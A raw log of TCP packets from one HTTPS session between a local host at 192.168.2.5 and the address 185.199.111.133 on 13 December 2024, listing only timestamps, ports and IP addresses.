Dec 13, 2024 08:34:41.940988064 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.941032887 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.941215038 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.941215038 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.941282988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.941351891 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.959295988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.959353924 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.959413052 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.959427118 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.959470987 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.959492922 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.975147009 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.975192070 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.975270987 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.975346088 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.975423098 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.975423098 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.996637106 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.996706009 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.996850014 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.996850014 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.996918917 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.996985912 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.086724043 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.086774111 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.086922884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.086922884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.086992979 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.087057114 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.098866940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.098941088 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.098973989 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.098989964 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.099020958 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.099042892 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.112230062 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.112277031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.112337112 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.112411022 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.112452030 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.112478018 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.123822927 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.123897076 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.123943090 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.124012947 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.124056101 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.124079943 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.135240078 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.135287046 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.135334015 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.135366917 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.135401011 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.135411978 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.145123959 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.145180941 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.145229101 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.145263910 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.145287991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.145319939 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.155776978 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.155827045 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.155857086 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.155888081 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.155910969 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.155926943 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.167968035 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.167989969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.168055058 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.168102980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.168129921 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.168157101 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.278487921 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.278518915 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.278577089 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.278624058 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.278717041 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.278742075 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.285759926 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.285785913 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.285847902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.285876989 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.285912991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.285933971 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.293943882 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.293992996 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.294094086 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.294121981 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.294152021 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.294172049 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.301522970 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.301565886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.301625013 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.301632881 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.301670074 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.301691055 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.308315992 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.308361053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.308399916 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.308408022 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.308450937 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.315984011 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.316042900 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.316073895 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.316082001 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.316122055 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.316143990 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.323443890 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.323465109 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.323575020 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.323584080 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.323630095 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.359920979 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.359965086 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.360006094 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.360021114 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.360066891 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.360093117 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.469814062 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.469846964 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.469928026 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.470000982 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.470043898 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.470069885 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.477324963 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.477349043 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.477425098 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.477441072 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.477499008 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.485028028 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.485047102 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.485127926 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.485141039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.485199928 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.491818905 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.491861105 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.491905928 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.491919041 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.491959095 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.491981983 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.499530077 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.499572039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.499649048 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.499660969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.499697924 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.499716997 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.507076025 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.507118940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.507172108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.507183075 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.507227898 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.507250071 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.513793945 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.513825893 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.513889074 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.513900042 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.513952017 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.513972044 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.552155018 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.552196980 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.552362919 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.552362919 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.552397013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.552448988 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.662223101 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.662290096 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.662427902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.662427902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.662465096 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.662516117 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.675067902 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.675091028 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.675169945 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.675194025 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.675229073 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.675272942 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.681117058 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.681139946 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.681225061 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.681242943 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.681267023 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.681298018 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.688754082 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.688796043 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.688846111 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.688858032 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.688904047 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.688922882 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.695471048 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.695516109 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.695560932 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.695573092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.695611000 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.695637941 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.704440117 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.704483986 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.704547882 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.704560041 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.704608917 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.704629898 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.710726023 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.710769892 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.710813999 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.710824966 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.710863113 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.710882902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.737370968 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.745029926 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.745058060 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.745124102 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.745160103 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.745199919 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.745220900 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.854366064 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.854387999 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.854485035 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.854521036 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.854577065 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.861828089 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.861844063 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.861915112 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.861929893 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.861993074 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.869488001 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.869503021 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.869560957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.869595051 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.869621038 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.869642973 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.877367973 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.877413988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.877450943 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.877482891 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.877509117 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.877526045 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.883939028 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.883955002 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.884021044 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.884052038 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.884102106 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.891464949 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.891482115 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.891547918 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.891582012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.891632080 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.899139881 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.899156094 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.899218082 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.899250031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.899303913 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.937258959 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.937304974 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.937347889 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.937381029 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:42.937407970 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:42.937438011 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.047512054 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.047559023 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.047611952 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.047633886 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.047671080 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.047698975 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.054179907 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.054227114 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.054281950 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.054296017 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.054333925 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.054358959 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.061764002 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.061809063 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.061846018 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.061863899 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.061892986 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.061917067 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.069426060 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.069468975 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.069518089 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.069530964 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.069592953 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.069592953 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.076162100 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.076184034 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.076248884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.076270103 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.076322079 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.076340914 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.083970070 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.083985090 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.084058046 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.084079027 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.084141016 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.091345072 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.091360092 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.091425896 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.091444969 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.091485023 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.091506958 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.111969948 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.129693031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.129709005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.129817963 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.129833937 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.129863024 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.129910946 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.239737988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.239794970 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.239828110 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.239862919 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.239892006 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.239903927 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.246464014 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.246526957 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.246535063 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.246592999 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.246602058 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.246642113 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.253897905 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.253942013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.253962040 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.253982067 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.254012108 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.254045010 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.261622906 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.261671066 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.261712074 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.261749029 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.261773109 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.261802912 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.268403053 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.268445015 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.268476009 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.268491983 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.268522024 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.268543005 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.276427031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.276470900 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.276494026 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.276509047 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:43.276542902 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:43.276563883 CET	49707	443	192.168.2.5	185.199.111.133
